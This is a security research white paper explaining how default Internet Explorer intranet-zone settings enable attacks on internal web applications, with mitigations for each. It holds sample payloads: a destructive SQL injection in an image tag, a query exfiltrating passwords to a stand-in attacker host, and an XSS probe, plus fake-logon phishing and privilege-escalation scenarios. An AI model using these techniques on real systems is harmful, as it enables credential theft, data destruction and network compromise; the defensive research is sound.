Opening Intranets to attacks by using Internet Explorer

Author: Cesar Cerrudo
(cesar>.at.<argeniss>.dot.<com)

Table of contents

Abstract

This document covers the topic of hacking Intranet websites through various unconventional means. Technical details shed light on the impact of default security configuration settings within Internet Explorer can be leveraged to attack internal Intranet websites remotely (from the Internet as well as remote users on the same LAN segment).

Introduction

Within any company it is very common to find dozens of different Intranet web applications. Over time, the number of internal Intranet web applications has been growing exponentially as businesses turn to web based automation to increase profit margins. As more code is developed and implemented, coupled with the use of new features in newly announced technologies (Web 2.0) vulnerabilities can and will be introduced into corporate and government environments.

Intranet web applications are generally less secure than external Internet sites since they are not commonly security audited while generally believed to be protected through external network segmentation. These actions and assumptions makes Intranet websites more vulnerable and easier to attack.

As threats grow through technological implementations, the threat of hostile insider actions against unprotected intranet web applications grows as well.

As economic crisis continues to impact companies and downsizing takes affect on a global scale, the likelihood of internal sabotage or placing backdoors or hacking into web applications can become an even greater risk if proper precautions are not considered.

Though vulnerabilities exist internally for most Intranet applications a level of security is generally assumed. With the use of Internet Explorer these assumptions can be used to leverage external based attacks against internal ‘protected’ Intranet applications.

Over the years Microsoft Internet Explorer (IE) has been dominating the browser market, it's unarguably the most used browser on the planet. Through the vast deployment of IE, it has been constantly targeted by cyber criminals due to it's wide use. Microsoft has dedicated immense effort over the last few years improving IE security, removing a vast amount of threats and vulnerabilities while adding a slew new security features

With the latest version of IE, IE version 8 is believed to be the most secure browser Microsoft has released. While we believe Microsoft has done a good job fixing and improving the security of Internet Explorer. We believe that Microsoft and end users of their software may need to be made aware of default security assumptions which could lead to external and local based attacks through the use of Internet Explorer.

Through extensive analysis the security settings within the default deployment of IE (all versions) represent weaknesses which could lead to further exploitation. Within this paper we demonstrate these weaknesses and how these default settings can be used to identify and exploit vulnerabilities in Intranet applications through remote exploitation (from the Internet).

What are Internet Explorer security zones?

The following text refers to IE 7 but it also applies to IE 8. From “Internet Explorer 7 Desktop Security Guide” [1] :

“Internet Explorer 7 offers administrators a unique security feature that is unavailable in most other browsers: the ability to define security settings for different Web site classes. Unlike other browsers, Internet Explorer 7 determines the level of security for a given Web page by categorizing it into a URL security zone based on the origin of the Web page.

*The five security zones are **Local Machine** (not visible in the Internet Explorer user interface), **Internet**, **Local intranet**, **Trusted sites**, and **Restricted sites**. Web sites on the local* *computer are grouped into the Local Machine zone, remote servers are in the Internet security zone, and Web sites on a local network are in the Intranet zone. Web sites on servers identified by the user or administrator as potentially malicious are placed in the Restricted sites zone. Web sites on servers identified by the user or administrator as trusted are in the Trusted sites zone.*

***Note:** On computers that are not joined to a domain, the Local intranet zone is disabled, and the sites that would normally be accessed in the Local intranet zone are opened in the Internet zone instead. The Local Machine zone is not visible in the Internet Explorer user interface.*

Different levels of security are appropriate for each of these zones. To facilitate this, Internet Explorer uses URL security zone templates. Five templates are available by default: high, medium-high, medium, medium-low, and low. The security zones are mapped to these URL templates to determine the security level as shown in the following table:

Table 1

Security zone	***Security level (URL security zone template)***	***Description***
Local Machine	*Custom*	*Content found on the user's computer (except for content that Internet Explorer caches on the local system) is treated with a high level of trust. This zone cannot be configured from within Internet Explorer.*
Internet	*Medium-High*	*The Internet zone consists of all Web sites that are not included in the other zones.*
Local intranet (only available for domain-joined computers)	*Medium-low*	*All sites in this zone should be inside the firewall, and proxy servers should be configured so that an external Domain Name System (DNS) name cannot be resolved to this zone.*
Trusted sites	*Medium*	*Sites in the Trusted sites zone are allowed to perform a wider range of operations and prompt users to make fewer security decisions. Sites should only be added to this zone if you trust all of its content never to perform any harmful operations on your computers.*
Restricted sites	*High*	*This zone is designed to contain sites considered untrustworthy The default settings for this zone control and restrict Web features, but do not block access to the site. Sites can be added by the user or enforced by Group Policy.*

…

Zone Determination

While the basic concept of zone security permissions is easy to understand, the logic behind zone determination is often unexplained but useful to understand for effective desktop system management. The core of the determination process is based on input to the Address bar in Internet Explorer, not based on DNS IP value responses or netmask values. As a general rule, zone determination rules center around the user input to the Address bar.

The following rules are used by default to determine the zone in which a site opens:

- *Any sites listed in the Restricted sites zone open in that zone.*
- *Any sites listed in the Trusted sites zone open in that zone.*
- *Any sites listed in the Local intranet zone open in that zone.*
- *Sites that are on the proxy bypass list open in the Local intranet zone.*

Entries in the Address bar that do not include a period and can be resolved to a site open in the Local intranet zone (for example http://localsite)

- *Other sites open in the Internet zone.*

***Note:** It is not possible to add a site to more than one zone.*

It is important to note that these rules sometimes mean that intranet sites open in the Internet zone. For example, if an intranet site is referred to by an IP address or a fully qualified domain name (FQDN), the site will open in the Internet zone, because the name includes periods."

We are going to focus on Local Intranet Zone, let's enumerate important facts expressed above related to this zone:

- The Local Intranet zone is disabled by default on computers not joined to a domain (home users computers)
- Intranet sites referred by IP address or by fully qualified domain name are open in Internet zone because the name includes periods.
- Entries in IE address bar that don't include a period and can be resolved to a site are opened in Intranet zone.

IE allows users the ability to add any web site to Local Intranet zone in "Intranet advanced options", the sites added there will always be opened under the Local Intranet zone which the behavior and expected security constraints explained above can be overridden. Administrators can also set security policies which can affect the default behavior.

Within this paper we will focus on default IE settings: IE will use the Local Intranet zone if you are in a corporate network browsing an Intranet website.

Default IE security settings on Local Intranet zone are more relaxed that the ones in Internet zone, this is because the Local Intranet is believed to be a more trusted environment but this doesn't mean the web applications on this environment are vulnerability free or that this environment should be considered safe from attacks.

The weak settings

Let's start by enumerating and explaining some weak security settings on Local Intranet Zone:

- Automatic logon only in Intranet zone
- Websites in less privileged web content zone can navigate into this zone
- Allow script-initiated windows without size or position constraints
- Allow websites to open windows without address or status bar
- Enable XSS filter

"Automatic logon only in Intranet zone"

This setting is a User Authentication security setting that is set by default and it makes IE to send Windows user credentials automatically when an Intranet website asks for authentication. This means that IE will transparently and automatically send current user authentication information every time it's requests by an Intranet website. On Internet zone this setting is also set by default.

“Websites in less privileged web content zone can navigate into this zone”

This setting allows a website in a less privileged zone, let's say Internet zone, to navigate to Intranet zone which is a more privileged zone (see Table 1, zones with lower security level are more privileged than the ones with higher security level). This means that a Internet website is able to reference an Intranet website, ie: [*] by including a HTML FRAME or IFRAME from Intranet website. IE automatically requests and displays the content without user interaction, IE just displays “Unknown Zone (Mixed)” in the status bar without raising any alerts nor prompting the user. It's enabled by default.

“Allow script-initiated windows without size or position constraints”

This setting allows IE to automatically open windows of any size at any position by using Javascript or Vbscript. It's enabled by default. On Internet zone this setting is disabled by default since it protect users against spoofing attacks.

“Allow websites to open windows without address or status bar”

This setting is self describing. This setting is enabled by default. On Internet zone this setting is disabled, this is used as a protection against spoofing attacks.

“Enable XSS filter”

This setting enables and disables the XSS filter which is a new protection against XSS in Internet Explorer 8. This setting is disabled by default. On Internet zone this setting is enabled by default.

The attacks

Let's see now the attacks that can be performed abusing the weak security settings.

Phishing in Windows desktop

Default Local Intranet zone security settings allows the creation of windows of any size at any position without address and status bar (see settings: **“Allow script-initiated windows without size or position constraints”** and **“Allow websites to open windows without address or status bar”**). What can we do to abuse this? One thing we can do is phishing in Windows desktop, how can we implement this attack? Implementation of this attack is fairly easy, instead of tricking the user to login to a fake site we trick the user to login in a fake Windows login screen.
The attacker only needs to exploit a XSS vulnerability (setting **“Enable XSS filter”** is disabled by default) or to be able to upload arbitrary HTML content in a Intranet website. Then when a target user (victim) browses to the web page controlled by the attacker, script code will be executed and it will open an IE window in full screen mode without title bar, status bar,

address bar, scroll bars, etc.
The window will be a perfect imitation of the Windows logon screen tricking the victim to think that the computer is locked and he needs to enter his Windows user name and password, when he submits the information the web page will send it to the attacker.

What makes the above attack reliable and dangerous?

The victim is presented with a screen that looks identical to the logon screen, if the attacker is an insider he knows exactly how the Windows logon screen looks, he could also know the Windows user name of the victim and domain name so he can build an identical screen.
Once the attacker has the victim Window user name and password he can get a remote shell on victim computer through remote desktop if service is enabled (which is not enabled by default) or by remotely editing victim computer registry. Remote registry is enabled by default in Windows XP Professional and can be accessed if File and Printing Sharing is enabled at the firewall (which is fairly common in an internal network). What the attacker has to do is to change the user screen saver with a binary of his choice that will get executed once the screen saver is activated.

Also traditional phishing can be performed very easily on Intranets making attacks very successful since any web site can be spoofed because attacker is in control of full screen and he can hide address bar, update information on status bar, etc., this means no need to worry about spoofing URL addresses just display a fake IE window with any domain in the address bar.

In order to prevent this kind of attack set **"Allow script-initiated windows without size or position constraints"** and **"Allow websites to open windows without address or status bar"** to Disable, also set **"Enable XSS filter"** to Enable on the Local Intranet zone.

Cross Site SQL Injection (XSSQLI)

XSSQLI is a term to describe a Cross Site Request Forgery (XSRF) + SQL Injection attack. This attack consists in forcing a user to request a web application URL that will exploit a SQL Injection vulnerability, as XSRF attacks the user can be forced to request a URL by using a HTML IMG, FRAME, IFRAME, STYLE, etc. tag :

```
<IMG src=”http://intranetsite/pagevulnerable?id='; delete table”>
```

When a victim browses a web page with the above HTML code an automatic request will be made to "intranetsite" web application without the user noticing it. The difference with a classic XSRF attack is that instead of the URL requested triggering some action in the target web application it will exploit SQL Injection. You may be wondering why would one be exploiting SQL Injection in this way? Within Intranets, some web applications implementations use Windows integrated authentication, this means that the user authenticates to the web application with his Windows credentials, which is done automatically by IE because of **"Automatic logon only in Intranet zone"** security setting. MS SQL Server (other DBMS could be attacked in this way too) also authenticate users with Windows integrated authentication, some web applications are configured to access SQL Server backend database authenticating with the current Windows user that's accessing the web application. If an attacker exploits a SQL Injection vulnerability in this kind of web application isn't as valuable as other attack paths since the attacker could directly connect to SQL Server and run SQL statements as far his permissions allows him but by using XSSQLI in order to attack, for instance a SQL Server DBA, the attacker will be able to elevate privileges running SQL Server statements with DBA permissions.

Performing the attack

In order to perform this attack the attacker first needs to find out a SQL Injection (or not, some web applications allow to directly run SQL statements) in a web application that uses Windows authentication to authenticate the user and to connect to the backend database server in this case MS SQL Server, this could be easy or not depending on the Intranet. Once the attacker finds the SQL Injection vulnerability he only needs to choose a victim and make the victim to visit an attacker controlled web page.

After the victim browses the web page a request will be made to the target web application, the victim will be automatically authenticated to the web application and the SQL statement will be run with victim privileges, depending how the attack is crafted the victim will not notice it at all.

Another possibility is to attack MS SQL Server endpoints [2], these endpoints can be configured as web services so their functionality can be accessed with IE. These web services can accept SQL statements and return the results, mostly they use Windows integrated authentication for authenticating the user and then to authenticate to SQL Server. In this scenario the previous detailed attack can also be easily performed.

Getting SQL Injection results back

When performing the attack it would be useful for the attacker to get the SQL Injection results back when exploiting classical non blind SQL Injection, someone could think that it would be fairly difficult given the scenario but it's not, Alex Kouzemtchenko from SIFT (www.sift.com.au) came up with a good and interesting idea [3] which consists of embedding returned data in any HTML tag that can be used for cross domain requests:

SELECT '<img src="http://attackersite.com/log?x=' + password + '" />' FROM users

In the previous example the data returned by the query will be displayed by IE, the HTML tag will be processed making requests to attacker website allowing the attacker to grab all the data returned from the SQL Injection attack.

We can confirm that XSSQLI is a very dangerous attack that when targeting SQL Server administrators or other privileged users can have serious impact, such as data being deleted, modified, stolen and server being compromised, etc.

In order to prevent this kind of attacks set Logon security setting on Local Intranet Zone to **“Prompt for user name and password”**.

When developers gone wild

Many companies have internal or external developers, these developers have access to development systems, they can upload content, configure some servers, install applications, etc.
All these examples allow developers to easily perform attacks if they wish. Let's see some attack scenarios.

Attack scenario #1: Owning a development server

The attacker (evil developer) can upload web pages to an IIS server but he doesn't have administrative access to the server, he's just a regular user. So he uploads a web application that will require Windows authentication and then it will impersonate the authenticated user in order to elevate privileges. After the web application is uploaded the attacker only needs to get an administrator to browse to a URL, that's it, game over, the attacker easily owns the server since IE will automatically authenticate the victim (thanks to **"Automatic logon only in Intranet zone"** security setting) and the victim will not notice the actual attack.

Attack scenario #2: Owning the network

Again, the attacker can upload web pages to an IIS server, etc. but in this scenario the server is configured to allow delegation [4]. The attacker uploads a web application that will require Windows authentication and it will impersonate the victim user, allowing the attacker to authenticate to remote systems as the impersonated user (delegation allows this), then the web application can easily own servers in the network.

In order to prevent this kind of attacks set Logon security setting on Local Intranet Zone to **"Prompt for user name and password"**.

The Internet is not the Intranet's friend

Attacking Intranet from inside

While attacking Intranet websites from the internal network would be relatively easy for an insider, internal attackers need to be very careful about not leaving tracks when initially identifying and exploiting common vulnerabilities (XSS, XSRF, SQL Injection, etc.) Because after an attack takes place, if it's detected, then forensic investigations could lead to the attacker, since attacker's host IP will be logged on web server logs. In order to avoid being caught it's important for the attacker to identify the vulnerabilities that are going to be exploited in a stealthy way.

Attacking Intranet from Internet

The best option for an insider attacker would be to be able to identify Intranet web application vulnerabilities and attack them from the Internet. Luckily for the attacker this can be performed without a large degree of difficulty due to the default Internet Explorer security setting: **"Websites in less privileged web content zone can navigate into this zone"** which allows an Internet web page to refer to content in an Intranet website. The attacker knows and has access to Intranet websites, he can place in an Internet website crafted HTML code with (depending on the attack) hidden HTML Iframes, HTML IMG tags, CSS, etc. that will reference Intranet website resources, then when a victim visits the Internet web page the attack will take place transparently.

For performing the detection of the vulnerabilities and the attacks, the attacker could exploit a XSS vulnerability in a well known Internet website or in a Internet website that the victim user visits periodically, in this way exploitation becomes easier.

Detecting and exploiting Intranet web application vulnerabilities from Internet

-XSRF

Identifying XSRF vulnerabilities is a rather straight forward attack pattern. An internal attacker can look at HTML code to identify if an Intranet web application is vulnerable to XSRF attacks, he just needs to look for common XSRF protections and if they are not present then the web application will be vulnerable.

Detecting XSS and SQLi would be more difficult since the attacker needs to do HTTP requests and look at the responses to identify if the web application is vulnerable or not, this is not the greatest strategy for success since attacker's IP address from his internal network host will be logged in each request and could lead to internal incident response activities and investigation.

-XSS

In the case of XSS vulnerabilities they can be detected from Internet. First the attacker needs to identify possibles XSS vulnerabilities in Intranet web applications by browsing them, he needs to collect dozen of URLs he suspects which could be vulnerable. In order to test the collected URLs, to identify if they are vulnerable to XSS, the attacker needs to craft specific HTML code and place it on an externally accessible Internet website. The crafted HTML code will have hidden HTML Iframes referencing the previously collected URLs, when the victim Intranet user visits this Internet website IE will request the Intranet URLs in order to load them. Because the attacker is trying to identify if the Intranet web applications are vulnerable to XSS he uses the next (or any other similar HTML code that allows cross domain requests such a script, css, etc.) simple XSS payload: <img src="http://attackersite/img1.jpg">

If the URLs in the Iframes are vulnerable to XSS IE will also request the images from the attacker web site indicating that XSS is successful. In this way the attacker is able to identify XSS vulnerabilities in Intranet web applications from the Internet without revealing external attackers location, while masquerading as an internal user. This detection of the XSS vulnerabilities could include an actual attack by loading a javascript file instead of an image from the attacker site, the javascript code can launch for instance the Windows desktop phishing attack or numerous other attacks.

-SQL Injection

In contrast to identifying internal XSS vulnerabilities through remote means, it could be a bit more complicated to identify SQL Injection vulnerabilities from Internet. The attacker would need to be able to make arbitrary HTTP requests and read the responses in some way, this is something that can not be simply done by just a victim user visiting an attacker website due to same origin policy [5] restrictions placed within Internet Explorer.
SQL Injection attacks can be performed by exploiting previously identified XSS vulnerabilities. In overlaying a secondary attack within XSS we can make arbitrary requests to the same website and read the responses allowing to identify and exploit SQL Injection vulnerabilities by examining these responses.
We can conclude that, if the attacker is interested in exploiting a SQL Injection vulnerability in an Intranet web application he just needs to find first a XSS vulnerability in the same web application.

In order to prevent this kind of attacks set **"Websites in less privileged web content zone can navigate into this zone"** to Disable and set **"Enable XSS filter"** to Enable on the Local Intranet security zone.
[*] Changing these settings will only help to prevent XSS attacks since SQL Injection and XSRF attacks can still be performed by using SCRIPT, IMG, LINK HTML tags to reference Intranet websites. IE doesn't consider navigation when using those HTML tags just when using IFRAME, IFRAME tags or when clicking in a link.

Conclusion

We have just seen that identifying and exploiting vulnerabilities on Intranet web applications isn't overly complicated while the impact of these attacks can lead to further network compromise through exploiting assumptions (default settings) in IE and Intranet web applications.
It's important to understand that using Internet Explorer with default security settings is not safe for Intranet web applications.
Luckily most of the attacks can be prevented and mitigated by changing default security settings.

Special thanks

To Daniel Clemens, Alex Kouzemtchenko, Juliano Rizzo and Mariano Orsili

About the author

Cesar Cerrudo is the founder and CEO of Argeniss, a security consultancy firm based in Argentina. He is a security researcher and consultant specializing in application security. Regarded as a leading application security researcher, Cesar is credited with discovering and helping to eliminate dozens of vulnerabilities in leading applications including Microsoft SQL Server, Oracle database server, IBM DB2, Microsoft BizTalk Server, Microsoft Commerce Server, Microsoft Windows, Yahoo! Messenger, etc.

Cesar has authored several white papers on database, application security, attacks and exploitation techniques and he has been invited to present at a variety of companies and conferences including Microsoft, Black Hat, Bellua, CanSecWest, EuSecWest, WebSec, HITB, Microsoft BlueHat, etc. Cesar collaborates with and is regularly quoted in print and online publications including eWeek, ComputerWorld, and other leading journals.

References

* Edited on 04/08 to mention that XSRF and SQL Injection attacks can't be prevented by disabling **“Websites in less privileged web content zone can navigate into this zone”** security setting on IE. Thanks to Blake Frantz for the heads up.

1- http://www.microsoft.com/downloads/details.aspx?familyid=6aa4c1da-6021-468e-a8cf-af4afe4c84b2&displaylang=en&tm

2- http://msdn.microsoft.com/en-us/library/ms345123.aspx

3- http://sla.ckers.org/forum/read.php?13,16930

4- http://msdn.microsoft.com/en-us/library/aa291350(VS.71).aspx

5- http://en.wikipedia.org/wiki/Same_origin_policy

About Argeniss

Argeniss is an information security company specialized on application security, we offer services such as vulnerability information, exploit development, software auditing, penetration testing and training.

Contact us

Velez Sarsfield 736 PA
Parana, Entre Rios
Argentina

E-mail: info>.at.<argeniss>.dot.<com

Tel: +54-343-4316113
Fax: 1-801-4545614